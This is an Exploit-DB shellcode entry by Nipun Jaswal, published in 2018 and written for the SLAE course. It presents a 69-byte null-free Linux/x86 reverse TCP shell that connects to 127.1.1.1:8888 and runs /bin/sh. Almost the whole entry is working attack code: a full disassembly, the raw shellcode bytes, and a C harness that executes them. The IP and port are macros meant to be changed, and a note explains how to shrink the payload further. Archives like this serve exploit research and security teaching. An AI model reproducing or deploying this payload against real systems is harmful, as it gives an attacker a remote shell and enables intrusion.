EDB-ID: 43433 | Author: Nipun Jaswal | Published: 2018-01-05 | CVE: N/A | Type: Shellcode | Platform: Lin_x86 | Shellcode:  Download / View Raw | Shellcode Size: 69 bytes | Title: Linux/x86 - Reverse TCP Shell (/bin/sh) (127.1.1.1:8888/TCP) Null-Free Shellcode (69 bytes)
Description: Smallest /bin/sh Reverse TCP Shellcode(Null Free, No Register Pollution Required)
Date : 4/Jan/2018
Author: Nipun Jaswal (@nipunjaswal) ; SLAE-1080
Details:
Smallest /bin/sh based Null & Register Pollution Free x86/linux Reverse Shell TCP (127.1.1.1:8888)( 69 Bytes )
You can modify the port and IP by changing the values for IP and PORT
Note:
If You are compiling the C file itself and dont care about Bad Chars, You can reduce 2 more bytes:
Change the following lines of code:
push word 0xb822
push word 2
To:
push 0xb8220002 ---> This will make the length of the Shellcode to 67 Bytes
*/
/*Disassembly of section .text:
08048060 <_start>:
8048060: 31 db xor ebx,ebx
8048062: 53 push ebx
8048063: 43 inc ebx
8048064: 53 push ebx
8048065: 6a 02 push 0x2
8048067: 89 e1 mov ecx,esp
8048069: 6a 66 push 0x66
804806b: 58 pop eax
804806c: cd 80 int 0x80
804806e: 93 xchg ebx,eax
804806f: 59 pop ecx
08048070 <loop>:
8048070: b0 3f mov al,0x3f
8048072: cd 80 int 0x80
8048074: 49 dec ecx
8048075: 79 f9 jns 8048070 <loop>
8048077: 68 7f 01 01 01 push 0x101017f
804807c: 66 68 22 b8 pushw 0xb822
8048080: 66 6a 02 pushw 0x2
8048083: 89 e1 mov ecx,esp
8048085: b0 66 mov al,0x66
8048087: 50 push eax
8048088: 51 push ecx
8048089: 53 push ebx
804808a: b3 03 mov bl,0x3
804808c: 89 e1 mov ecx,esp
804808e: cd 80 int 0x80
8048090: 52 push edx
8048091: 68 2f 2f 73 68 push 0x68732f2f
8048096: 68 2f 62 69 6e push 0x6e69622f
804809b: 89 e3 mov ebx,esp
804809d: 52 push edx
804809e: 53 push ebx
804809f: 89 e1 mov ecx,esp
80480a1: b0 0b mov al,0xb
80480a3: cd 80 int 0x80
*/
#include<stdio.h>
#include<string.h>
#define IP "\x7f\x01\x01\x01"
#define PORT "\x22\xb8"
int main(int argc, char* argv[])
{
unsigned char code[] = \
"\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x6a"
"\x66\x58\xcd\x80\x93\x59\xb0\x3f\xcd\x80"
"\x49\x79\xf9\x68"
IP
"\x66\x68"
PORT
"\x66\x6a\x02\x89\xe1\xb0\x66\x50"
"\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
printf("\nShellcode 1 Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
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